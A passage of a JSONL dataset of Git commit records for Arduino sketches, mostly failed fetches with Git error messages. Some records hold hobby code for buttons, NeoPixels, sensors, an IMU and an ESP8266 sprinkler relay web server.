no,arunkuttiyara\/Arduino,noahchense\/Arduino-1,scdls\/Arduino,radut\/Arduino,fungxu\/Arduino,NicoHood\/Arduino,jaehong\/Xmegaduino,ThoughtWorksIoTGurgaon\/Arduino,ogferreiro\/Arduino,piersoft\/esp8266-Arduino,stevemayhew\/Arduino,spapadim\/Arduino,ntruchsess\/Arduino-1,ikbelkirasan\/Arduino,ari-analytics\/Arduino,fungxu\/Arduino,superboonie\/Arduino,smily77\/Arduino,jabezGit\/Arduino,NicoHood\/Arduino,talhaburak\/Arduino,diydrones\/Arduino,cscenter\/Arduino,me-no-dev\/Arduino-1,KlaasDeNys\/Arduino,leftbrainstrain\/Arduino-ESP8266,KlaasDeNys\/Arduino,spapadim\/Arduino,ektor5\/Arduino,adamkh\/Arduino,shiitakeo\/Arduino,01org\/Arduino,superboonie\/Arduino,talhaburak\/Arduino,tomkrus007\/Arduino,leftbrainstrain\/Arduino-ESP8266,fungxu\/Arduino,odbol\/Arduino,spapadim\/Arduino,Ramoonus\/Arduino,mc-hamster\/esp8266-Arduino,kidswong999\/Arduino,stevemayhew\/Arduino,jaimemaretoli\/Arduino,scdls\/Arduino,chaveiro\/Arduino,bigjosh\/Arduino,me-no-dev\/Arduino-1,zaiexx\/Arduino,jabezGit\/Arduino,EmuxEvans\/Arduino,wilhelmryan\/Arduino,stevemarple\/Arduino-org,eeijcea\/Arduino-1,linino\/Arduino,karlitxo\/Arduino,mangelajo\/Arduino,mattvenn\/Arduino,andrealmeidadomingues\/Arduino,ccoenen\/Arduino,sanyaade-iot\/Arduino-1,bugobliterator\/BUAGI,PaoloP74\/Arduino,tomkrus007\/Arduino,aichi\/Arduino-2,tomkrus007\/Arduino,PeterVH\/Arduino,probonopd\/Arduino,jaimemaretoli\/Arduino,tskurauskas\/Arduino,wayoda\/Arduino,SmartArduino\/Arduino-1,spapadim\/Arduino,laylthe\/Arduino,laylthe\/Arduino,ari-analytics\/Arduino,ogferreiro\/Arduino,stevemayhew\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,nkolban\/Arduino,arunkuttiyara\/Arduino,ssvs111\/Arduino,gberl001\/Arduino,jomolinare\/Arduino,danielchalef\/Arduino,mateuszdw\/Arduino,plinioseniore\/Arduino,odbol\/Arduino,xxxajk\/Arduino-1,UDOOboard\/Arduino,odbol\/Arduino,zaiexx\/Arduino,raimohanska\/Arduino,Cloudino\/Cloudino-Arduino-IDE,gestrem\/Arduino,acosinwork\/Arduino,Ramoonus\/Arduino,superboonie\/Arduino,PaintYourDragon\/Arduino,ari-analytics\/Arduino,Protoneer\/Arduino,bugobliterator\/BUAGI,vbextreme\/Arduino,lukeWal\/Arduino,gurbrinder\/Arduino,tomkrus007\/Arduino,acosinwork\/Arduino,onovy\/Arduino,arduino-org\/Arduino,ektor5\/Arduino,NicoHood\/Arduino,tannewt\/Arduino,NeuralSpaz\/Arduino,ForestNymph\/Arduino_sources,381426068\/Arduino,PeterVH\/Arduino,damellis\/Arduino,jomolinare\/Arduino,steamboating\/Arduino,lukeWal\/Arduino,jaehong\/Xmegaduino,01org\/Arduino,wayoda\/Arduino,NeuralSpaz\/Arduino,jaimemaretoli\/Arduino,eddyst\/Arduino-SourceCode,onovy\/Arduino,mateuszdw\/Arduino,nandojve\/Arduino,eddyst\/Arduino-SourceCode,paulo-raca\/ESP8266-Arduino,scdls\/Arduino,koltegirish\/Arduino,zaiexx\/Arduino,wdoganowski\/Arduino,garci66\/Arduino,ForestNymph\/Arduino_sources,ricklon\/Arduino,myrtleTree33\/Arduino,lukeWal\/Arduino,shannonshsu\/Arduino,ashwin713\/Arduino,ashwin713\/Arduino,paulo-raca\/ESP8266-Arduino,NaSymbol\/Arduino,majenkotech\/Arduino,odbol\/Arduino,tomkrus007\/Arduino,mc-hamster\/esp8266-Arduino,superboonie\/Arduino,adamkh\/Arduino,eduardocasarin\/Arduino,rcook\/DesignLab,stevemayhew\/Arduino,wilhelmryan\/Arduino,andrealmeidadomingues\/Arduino,jaej-dev\/Arduino,leftbrainstrain\/Arduino-ESP8266,ThoughtWorksIoTGurgaon\/Arduino,01org\/Arduino,mangelajo\/Arduino,mattvenn\/Arduino,wdoganowski\/Arduino,xxxajk\/Arduino-1,tskurauskas\/Arduino,damellis\/Arduino,drpjk\/Arduino,Ramoonus\/Arduino,chaveiro\/Arduino,henningpohl\/Arduino,stevemarple\/Arduino-org,EmuxEvans\/Arduino,Cloudino\/Arduino,leftbrainstrain\/Arduino-ESP8266,rodibot\/Arduino,eddyst\/Arduino-SourceCode,jaehong\/Xmegaduino,diydrones\/Arduino,snargledorf\/Arduino,niggor\/Arduino_cc,shannonshsu\/Arduino,spapadim\/Arduino,Alfredynho\/AgroSis,garci66\/Arduino,eduardocasarin\/Arduino,Chris--A\/Arduino,ms-iot\/Arduino,UDOOboard\/Arduino,onovy\/Arduino,jaej-dev\/Arduino,gestrem\/Arduino,NicoHood\/Arduino,jabezGit\/Arduino,jaej-dev\/Arduino,jaimemaretoli\/Arduino,SmartArduino\/Arduino-1,ricklon\/Arduino,Cloudino\/Cloudino-Arduino-IDE,jaimemaretoli\/Arduino,stickbreaker\/Arduino,eduardocasarin\/Arduino,Cloudino\/Arduino,raimohanska\/Arduino,noahchense\/Arduino-1,lukeWal\/Arduino,gurbrinder\/Arduino,Protoneer\/Arduino,cscenter\/Arduino,lulufei\/Arduino,Gourav2906\/Arduino,eddyst\/Arduino-SourceCode,Gourav2906\/Arduino,mateuszdw\/Arduino,ogferreiro\/Arduino,gurbrinder\/Arduino,mateuszdw\/Arduino,jaehong\/Xmegaduino,fungxu\/Arduino,pdNor\/Arduino,cscenter\/Arduino,01org\/Arduino,plinioseniore\/Arduino,nkolban\/Arduino,gonium\/Arduino,NeuralSpaz\/Arduino,kidswong999\/Arduino,nandojve\/Arduino,weera00\/Arduino,tbowmo\/Arduino,snargledorf\/Arduino,plinioseniore\/Arduino,jabezGit\/Arduino,henningpohl\/Arduino,niggor\/Arduino_cc,jaehong\/Xmegaduino,adafruit\/ESP8266-Arduino,jaimemaretoli\/Arduino,nkolban\/Arduino,shiitakeo\/Arduino,stevemayhew\/Arduino,ntruchsess\/Arduino-1,majenkotech\/Arduino,tbowmo\/Arduino,pdNor\/Arduino,damellis\/Arduino,talhaburak\/Arduino,chaveiro\/Arduino,scdls\/Arduino,kidswong999\/Arduino,Protoneer\/Arduino,shiitakeo\/Arduino,ntruchsess\/Arduino-1,ogferreiro\/Arduino,mangelajo\/Arduino,NaSymbol\/Arduino,adafruit\/ESP8266-Arduino,byran\/Arduino,eggfly\/arduino,scdls\/Arduino,Cloudino\/Cloudino-Arduino-IDE,jomolinare\/Arduino,gberl001\/Arduino,ms-iot\/Arduino,Cloudino\/Arduino,me-no-dev\/Arduino-1,OpenDevice\/Arduino,byran\/Arduino,linino\/Arduino,EmuxEvans\/Arduino,SmartArduino\/Arduino-1,jmgonzalez00449\/Arduino,gonium\/Arduino,shiitakeo\/Arduino,paulo-raca\/ESP8266-Arduino,nandojve\/Arduino,wdoganowski\/Arduino,plaintea\/esp8266-Arduino,bsmr-arduino\/Arduino,acosinwork\/Arduino,stevemarple\/Arduino-org,arunkuttiyara\/Arduino,arduino-org\/Arduino,ms-iot\/Arduino,cscenter\/Arduino,mateuszdw\/Arduino,xxxajk\/Arduino-1,wdoganowski\/Arduino,Chris--A\/Arduino,tskurauskas\/Arduino,mattvenn\/Arduino,ccoenen\/Arduino,KlaasDeNys\/Arduino,drpjk\/Arduino,mangelajo\/Arduino,PeterVH\/Arduino,wayoda\/Arduino,ikbelkirasan\/Arduino,ashwin713\/Arduino,karlitxo\/Arduino,aichi\/Arduino-2,zenmanenergy\/Arduino,zaiexx\/Arduino,spapadim\/Arduino,karlitxo\/Arduino,mateuszdw\/Arduino,eggfly\/arduino,HCastano\/Arduino,probonopd\/Arduino,PaintYourDragon\/Arduino,lukeWal\/Arduino,lukeWal\/Arduino,tommyli2014\/Arduino,Ramoonus\/Arduino,diydrones\/Arduino,plaintea\/esp8266-Arduino,01org\/Arduino,radut\/Arduino,381426068\/Arduino,radut\/Arduino,andrealmeidadomingues\/Arduino,Cloudino\/Cloudino-Arduino-IDE","old_file":"build\/shared\/examples\/09. USB (Leonardo only)\/Keyboard\/KeyboardReprogram\/KeyboardReprogram.ino","new_file":"build\/shared\/examples\/09. USB (Leonardo only)\/Keyboard\/KeyboardReprogram\/KeyboardReprogram.ino","new_contents":"","old_contents":"","returncode":2,"stderr":"\/bin\/sh: 1: Syntax error: \"(\" unexpected\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"d06d1bc5facba2c8ee1e56d4c0132dea85f6d769","subject":"Fixed glitch in nduino controller where TX would only occur after RX event.","message":"Fixed glitch in nduino controller where TX would only occur after RX event.\n","repos":"ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha","old_file":"nduino\/controller\/src\/src.ino","new_file":"nduino\/controller\/src\/src.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ekwoodrich\/nirha.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"adeb949991537e473b049516ec56caad7a0cd552","subject":"fixed some errors in the commenting","message":"fixed some errors in the commenting\n","repos":"sherrardTr4129\/SortME","old_file":"arduino code\/OctoDrive\/OctoDrive.ino","new_file":"arduino code\/OctoDrive\/OctoDrive.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino' did not match any file(s) known to git\nerror: pathspec 'code\/OctoDrive\/OctoDrive.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9e3b91267be652c741ff7ac6cb0f637421c589cf","subject":"dd MFRC522 sketch","message":"dd MFRC522 sketch\n","repos":"JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino","old_file":"MFRC522-Read-Write\/MFRC522-Read-Write.ino","new_file":"MFRC522-Read-Write\/MFRC522-Read-Write.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/JulianNicholls\/Arduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"4602bf4d2d67a9940187b38dfe2e4e027930a0ef","subject":"Got button handling figured out \\o\/","message":"Got button handling figured out \\o\/\n","repos":"MonsterTKE\/Arduino_motor-control,MonsterTKE\/Arduino_motor-control,MonsterTKE\/Arduino_motor-control","old_file":"ButtonHandler\/ButtonHandler.ino","new_file":"ButtonHandler\/ButtonHandler.ino","new_contents":"\/*\nFramework to handle button presses in a logical way, christ sakes that seemed whay more difficult that it looked.\nBut at least I have a class I can use elsewhere!\n *\/\n\n#include <SerialLCD.h>\n#include <SoftwareSerial.h> \/\/this is a must\n\nSerialLCD slcd(11,12); \/\/Initialize the lcd lib.\n\nconst int rightRed = 5; \/\/right red button\nconst int leftRed = 4; \/\/left red button\nconst int greenMenu = 3; \/\/green menu button\nconst int yellowEnter = 8; \/\/yellow enter button, I\/O 2\nconst int leftLimit = 7; \/\/left limit switch. Green\/White twisted pair.\nconst int rightLimit = 6; \/\/right limit switch. Blue\/White twisted pair.\n\nboolean oldButtonState = false;\n\n boolean inputLeft = digitalRead(leftRed);\n boolean inputRight = digitalRead(rightRed);\n boolean menuButton = digitalRead(greenMenu);\n boolean enterButton = digitalRead(yellowEnter);\n\n\n\/\/const int Hallpin = 2; \/\/ wired to Hall Effect sensor output\n\/\/const int CWpin = 10; \/\/ wired to MD01B pin INa\n\/\/const int CCWpin = 9; \/\/ wired to MD01B pin INb\n\n\nint loopCounter = 0; \/\/Loop counter to refresh screen.\nunsigned long lcdUpdate;\nunsigned long lastLcdUpdate;\nint refreshScreen = 0; \/\/boolean counter to clear screen.\n\nint menuMode = 0; \/\/Initialize the controller in setup mode.\nint var = 0;\n\/\/measurement variables.\nunsigned int targetSteps = 32; \/\/inital target for slew mode and setup mode.\nunsigned int testVar = 0; \/\/counter for jogmode\n\nint stepIncrements = 0;\nint stepMultiplier = 1;\n\nvoid setup() { \/\/int yer inpins\n\n pinMode(rightRed, INPUT); \n pinMode(leftRed, INPUT);\n pinMode(greenMenu, INPUT);\n pinMode(yellowEnter, INPUT);\n pinMode(leftLimit, INPUT);\n pinMode(rightLimit, INPUT);\n \n Serial.begin(9600);\n slcd.begin();\n slcd.backlight();\n}\n\nvoid loop() {\nif (buttonHandler(greenMenu)) {\n slcd.setCursor(0,0);\n slcd.print(\"ok\");\n slcd.setCursor(2,0);\n slcd.print(var, DEC);\n}\n slcd.setCursor(0,1);\n slcd.print(oldButtonState, DEC);\n}\n\n\/\/***************************************************\/\/\n\nboolean buttonHandler(int buttonRead){\n\nboolean buttonState = digitalRead(buttonRead);\nboolean oldButton = oldButtonState;\n\nif (buttonState && !oldButtonState) {\n var++;\n oldButtonState = buttonState;\n}\nelse if (!buttonState) {\n oldButtonState = false;\n}\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ButtonHandler\/ButtonHandler.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f82c5ac782cdac52c2ce04e10e5210bcde64c436","subject":"Changed version number since code can't handle more than 1 digit.","message":"Changed version number since code can't handle more than 1 digit.\n","repos":"FirstBuild\/pizzaduino,FirstBuild\/pizzaduino,FirstBuild\/pizzaduino","old_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/FirstBuild\/pizzaduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"ef230082df4457910721a911b20e1ed6070cede4","subject":"First neopixel animation","message":"First neopixel animation\n","repos":"BornToDebug\/homeStruction,BornToDebug\/homeStruction,BornToDebug\/homeStruction,BornToDebug\/homeStruction,BornToDebug\/homeStruction,BornToDebug\/homeStruction,BornToDebug\/homeStruction","old_file":"arduino\/animation\/animation.ino","new_file":"arduino\/animation\/animation.ino","new_contents":"#include <Adafruit_NeoPixel.h>\n\n#define RIGHT 6\n#define NUMPIXELS 16\n\nAdafruit_NeoPixel pixels = Adafruit_NeoPixel(NUMPIXELS, RIGHT, NEO_GRB + NEO_KHZ800);\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n pixels.setBrightness(1);\n pixels.begin();\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n for (int i = 0; i < NUMPIXELS; i++){\n pixels.setPixelColor(i, 66, 244, 209);\n pixels.show();\n delay(100);\n }\n for (int i = 0; i < NUMPIXELS; i++){\n pixels.setPixelColor(i, 0, 0, 0);\n pixels.show();\n delay(100);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/animation\/animation.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"3a0d15752cfd5cbff5e6a56c77e27e83a229f69a","subject":"Added stub test file","message":"Added stub test file\n\nAdded stub test file\n","repos":"foxfire-online\/SPARK_MPU9150","old_file":"firmware\/examples\/RUSK-MPU9150-TEST.ino","new_file":"firmware\/examples\/RUSK-MPU9150-TEST.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/examples\/RUSK-MPU9150-TEST.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"247bde5e8a4df4f59606e445c394735a6bee4403","subject":"added interrupt example","message":"added interrupt example\n","repos":"manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain","old_file":"src\/rfduino\/HardwareTesting\/Interrupts\/Interrupts\/Interrupts.ino","new_file":"src\/rfduino\/HardwareTesting\/Interrupts\/Interrupts\/Interrupts.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/manashmndl\/bluebrain.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"6cf7646a6686316a1918a463519b39d2064e403c","subject":"\/\/ edit example in line 1","message":"\/\/ edit example in line 1\n","repos":"itead\/ITEADLIB_Arduino_Nextion,FireDeveloper\/ITEADLIB_Arduino_Nextion,FireDeveloper\/ITEADLIB_Arduino_Nextion,itead\/ITEADLIB_Arduino_Nextion,itead\/ITEADLIB_Arduino_Nextion,itead\/ITEADLIB_Arduino_Nextion","old_file":"examples\/HMIHardwareSerial\/HMIHardwareSerial.ino","new_file":"examples\/HMIHardwareSerial\/HMIHardwareSerial.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/FireDeveloper\/ITEADLIB_Arduino_Nextion.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"d2ca6ea513af86660a098d9b15a5166aebf2936c","subject":"Poprawiono odczyt temperatury","message":"Poprawiono odczyt temperatury\n","repos":"RobinsoneC12\/ArudinoWeatherStation,RobinsoneC12\/ArudinoWeatherStation,Bravo555\/ArudinoWeatherStation","old_file":"Odczyty\/Odczyty.ino","new_file":"Odczyty\/Odczyty.ino","new_contents":"const int pinTermometru = 0;\nvoid setup() {\nSerial.begin(9600);\n\n}\n\nfloat odczyt_temperatury(){\nfloat temperatura;\ntemperatura = (analogRead(pinTermometru)\/1024.0)*500;\ntemperatura = temperatura - 277;\nreturn temperatura;\n}\n\nvoid loop() {\nSerial.println(odczyt_temperatury());\ndelay(1000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Odczyty\/Odczyty.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"493e89dff452676ea30fc74dee5b51c95973c0bf","subject":"Update to use native ros for debugging","message":"Update to use native ros for debugging\n","repos":"Bobox214\/Dovlo,Bobox214\/Dovlo","old_file":"arduino\/RosMegaPi\/RosMegaPi.ino","new_file":"arduino\/RosMegaPi\/RosMegaPi.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Bobox214\/Dovlo.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"1b1ecb27ebf2f61fa851b63252bf38edef0a2feb","subject":"we might not empty the move queue completely \u2026","message":"we might not empty the move queue completely \u2026\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/Motion.ino","new_file":"ArduinoClient\/Motion.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"38d3f6de09cf5aaa38434d5b41d7769f0ff5636a","subject":"Adding YPR sketch specific to the femtoduino\/FreeIMU-Updates fork ('barebone' branch)","message":"Adding YPR sketch specific to the femtoduino\/FreeIMU-Updates fork ('barebone' branch)\n","repos":"femtoduino\/imuduino-btle,femtoduino\/imuduino-btle,pgpexp\/imuduino-btle,pgpexp\/imuduino-btle,femtoduino\/imuduino-btle,pgpexp\/imuduino-btle,pgpexp\/imuduino-btle,iansweeney\/imuduino-btle,iansweeney\/imuduino-btle,iansweeney\/imuduino-btle,femtoduino\/imuduino-btle,pgpexp\/imuduino-btle,pgpexp\/imuduino-btle,pgpexp\/imuduino-btle,femtoduino\/imuduino-btle,iansweeney\/imuduino-btle,iansweeney\/imuduino-btle,femtoduino\/imuduino-btle,iansweeney\/imuduino-btle,pgpexp\/imuduino-btle,iansweeney\/imuduino-btle,iansweeney\/imuduino-btle,femtoduino\/imuduino-btle,femtoduino\/imuduino-btle","old_file":"Arduino\/libraries\/IMUduino\/examples\/IMUduino_Bluetooth_UART_YawPitchRoll_FreeIMU_Updates\/IMUduino_Bluetooth_UART_YawPitchRoll_FreeIMU_Updates.ino","new_file":"Arduino\/libraries\/IMUduino\/examples\/IMUduino_Bluetooth_UART_YawPitchRoll_FreeIMU_Updates\/IMUduino_Bluetooth_UART_YawPitchRoll_FreeIMU_Updates.ino","new_contents":"#include <StandardCplusplus.h>\n#include <FilteringScheme.h>\n#include <MovingAvarageFilter.h>\n#include <AP_Math_freeimu.h>\n\n\/**\n * This example sketch uses the \n * femtoduino\/FreeIMU-Updates library ('barebones' branch)\n **\/\n\n#include <HMC58X3.h>\n#include <MS561101BA.h>\n#include <I2Cdev.h>\n#include <MPU60X0.h>\n\n#include <EEPROM.h>\n\n#include <FreeIMU.h>\n#include <Wire.h>\n#include <SPI.h>\n\n\/\/ Adafruit nRF8001 Library\n#include <Adafruit_BLE_UART.h>\nAdafruit_BLE_UART BTLEserial = Adafruit_BLE_UART(10, 7, 9); \/\/ REQ, RDY, RST\n\nfloat ypr[3];\nchar chrData[15]; \/\/ Yaw (5 bytes), Pitch (5 bytes), Roll (5 bytes) ...delimeter is a pipe '|'\n\n\/\/ Set the FreeIMU object\nFreeIMU my3IMU = FreeIMU();\n\n\nvoid setup() {\n Wire.begin();\n\n my3IMU.init(true);\n BTLEserial.begin(); \n}\n\nvoid loop() {\n BTLEserial.pollACI();\n\n if (ACI_EVT_CONNECTED == BTLEserial.getState()) {\n \n my3IMU.getYawPitchRoll(ypr);\n\n dtostrf(ypr[0], 1, 1, &chrData[0]);\n dtostrf(ypr[1], 1, 1, &chrData[5]);\n dtostrf(ypr[2], 1, 1, &chrData[10]);\n \n BTLEserial.write((byte*)chrData, 15);\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/libraries\/IMUduino\/examples\/IMUduino_Bluetooth_UART_YawPitchRoll_FreeIMU_Updates\/IMUduino_Bluetooth_UART_YawPitchRoll_FreeIMU_Updates.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"0047b29ad36da83b0d68469ee413d97e73aea04a","subject":"Pushing Arduino code","message":"Pushing Arduino code\n","repos":"ramseygill\/alexa-sprinkler","old_file":"ASC_Alexa_Sprinkler_Controller\/ASC_Alexa_Sprinkler_Controller.ino","new_file":"ASC_Alexa_Sprinkler_Controller\/ASC_Alexa_Sprinkler_Controller.ino","new_contents":"\/*\n * ========================================================================================\n * Title: ASC - Alexa Sprinkler Controller\n * Description: ESP8266 Based, Arduino compatible, Alexa commandable, sprinkler controller\n * Author: Ramsey Gill \n * License MIT\n * Homepage: https:\/\/hackaday.io\/project\/26850-alexa-enabled-sprinkler-controller\n * ========================================================================================\n * NOTES\n * http:\/\/www.geekstips.com\/arduino-time-sync-ntp-server-esp8266-udp\/\n *\/\n \/\/LIBRARIES-------------------------------------------------------------------------------\n#include <ESP8266WiFi.h>\n#include <WiFiClient.h>\n#include <ESP8266WebServer.h>\n#include <ESP8266mDNS.h>\n\n \/\/CONSTANTS\/VARIABLES\/GLOBALS-------------------------------------------------------------\nMDNSResponder mdns;\n\nESP8266WebServer server(80); \/\/server port\nString webPage;\nconst char* ssid = \"skynet-2GHz\"; \/\/wifi SSID\nconst char* password = \"haxor1337\"; \/\/wifi password\n\n\/\/PIN DEFINITIONS\nconst int k1Pin = 5; \/\/ESP-12E D1 RELAYS 1-8\nconst int k2Pin = 4; \/\/ESP-12E D2\nconst int k3Pin = 2; \/\/ESP-12E D4\nconst int k4Pin = 12; \/\/ESP-12E D6\nconst int k5Pin = 13; \/\/ESP-12E D7\nconst int k6Pin = 16; \/\/ESP-12E D8\nconst int k7Pin = 0; \/\/ESP-12E D3\nconst int k8Pin = 14; \/\/ESP-12E D5\n\/\/can't program if i use GPIO 12 (D6)\n\/\/GPIO 1 and GPIO 3 USB programmer TX\/RX\n\/\/Strange behavior if I use GPIO 15(D8) on relay board, unable to program MCU\n\/\/Wire SDA on OLED to D3 (GPIO0) pin on ESP-12E (used for SSD1306 OLED)\n\/\/Wire SCL on OLED to D5 (GPIO14) pin on ESP-12E (used for SSD1306 OLED)\n\n \/\/SETUP-----------------------------------------------------------------------------------\nvoid setup() {\n\n pinMode(k1Pin, OUTPUT); \/\/ set relay pins as outputs\n pinMode(k2Pin, OUTPUT); \/\/\n pinMode(k3Pin, OUTPUT); \/\/\n pinMode(k4Pin, OUTPUT); \/\/\n pinMode(k5Pin, OUTPUT); \/\/\n pinMode(k6Pin, OUTPUT); \/\/\n pinMode(k7Pin, OUTPUT); \/\/\n pinMode(k8Pin, OUTPUT); \/\/\n\n digitalWrite(k1Pin, HIGH); \/\/ ensure that each pin defaults to HIGH (relay off)\n digitalWrite(k2Pin, HIGH); \/\/ these cheap blue relay modules use inverted logic \n digitalWrite(k3Pin, HIGH);\n digitalWrite(k4Pin, HIGH);\n digitalWrite(k5Pin, HIGH);\n digitalWrite(k6Pin, HIGH);\n digitalWrite(k7Pin, HIGH);\n digitalWrite(k8Pin, HIGH);\n\n\/\/Webpage Heading\n webPage += \"<h1>ASC - Alexa Sprinkler Controller<\/h1>\";\n\/\/All on objects\n webPage += \"<p>ALL RELAYS \"; \/\/name of button\n webPage += \"<a href=\\\"allOn\\\"><button>ON<\/button><\/a> \"; \/\/on button object\n webPage += \"<a href=\\\"allOff\\\"><button>OFF<\/button><\/a><\/p>\"; \/\/off button object\n\/\/Relay 1 button objects\n webPage += \"<p>Relay #1 \";\n webPage += \"<a href=\\\"relay1On\\\"><button>ON<\/button><\/a> \";\n webPage += \"<a href=\\\"relay1Off\\\"><button>OFF<\/button><\/a><\/p>\";\n\/\/Relay 2 button objects\n webPage += \"<p>Relay #2 \";\n webPage += \"<a href=\\\"relay2On\\\"><button>ON<\/button><\/a> \";\n webPage += \"<a href=\\\"relay2Off\\\"><button>OFF<\/button><\/a><\/p>\";\n\/\/Relay 3 button objects\n webPage += \"<p>Relay #3 \";\n webPage += \"<a href=\\\"relay3On\\\"><button>ON<\/button><\/a> \";\n webPage += \"<a href=\\\"relay3Off\\\"><button>OFF<\/button><\/a><\/p>\";\n\/\/Relay 4 button objects\n webPage += \"<p>Relay #4 \";\n webPage += \"<a href=\\\"relay4On\\\"><button>ON<\/button><\/a> \";\n webPage += \"<a href=\\\"relay4Off\\\"><button>OFF<\/button><\/a><\/p>\";\n\/\/Relay 5 button objects\n webPage += \"<p>Relay #5 \";\n webPage += \"<a href=\\\"relay5On\\\"><button>ON<\/button><\/a> \";\n webPage += \"<a href=\\\"relay5Off\\\"><button>OFF<\/button><\/a><\/p>\";\n\/\/Relay 6 button objects\n webPage += \"<p>Relay #6 \";\n webPage += \"<a href=\\\"relay6On\\\"><button>ON<\/button><\/a> \";\n webPage += \"<a href=\\\"relay6Off\\\"><button>OFF<\/button><\/a><\/p>\";\n\/\/Relay 7 button objects\n webPage += \"<p>Relay #7 \";\n webPage += \"<a href=\\\"relay7On\\\"><button>ON<\/button><\/a> \";\n webPage += \"<a href=\\\"relay7Off\\\"><button>OFF<\/button><\/a><\/p>\";\n\/\/Relay 8 button objects\n webPage += \"<p>Relay #8 \";\n webPage += \"<a href=\\\"relay8On\\\"><button>ON<\/button><\/a> \";\n webPage += \"<a href=\\\"relay8Off\\\"><button>OFF<\/button><\/a><\/p>\";\n \n Serial.begin(115200); \/\/start UAB seral communication at 115200 baud\n delay(100);\n \n Serial.println(); \n Serial.println();\n Serial.print(\"Connecting to \");\n Serial.println(ssid);\n \n WiFi.begin(ssid, password);\n \n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n \n Serial.println(\"\");\n Serial.println(\"WiFi connected\"); \n Serial.println(\"IP address: \");\n Serial.println(WiFi.localIP());\n \n if (mdns.begin(\"esp8266\", WiFi.localIP())) \n Serial.println(\"MDNS responder started\");\n \n server.on(\"\/\", [](){\n server.send(200, \"text\/html\", webPage);\n });\n \/\/RELAY 1 ------------------------------------\n server.on(\"\/relay1On\", [](){\n server.send(200, \"text\/html\", webPage);\n \/\/ Turn on RELAY\n digitalWrite(k1Pin, LOW);\n Serial.println(\"RELAY 1 ON\");\n delay(500);\n });\n server.on(\"\/relay1Off\", [](){\n server.send(200, \"text\/html\", webPage);\n \/\/Turn off RELAY\n digitalWrite(k1Pin, HIGH);\n Serial.println(\"RELAY 1 OFF\");\n delay(500); \n });\n \/\/RELAY 2 ------------------------------------\n server.on(\"\/relay2On\", [](){\n server.send(200, \"text\/html\", 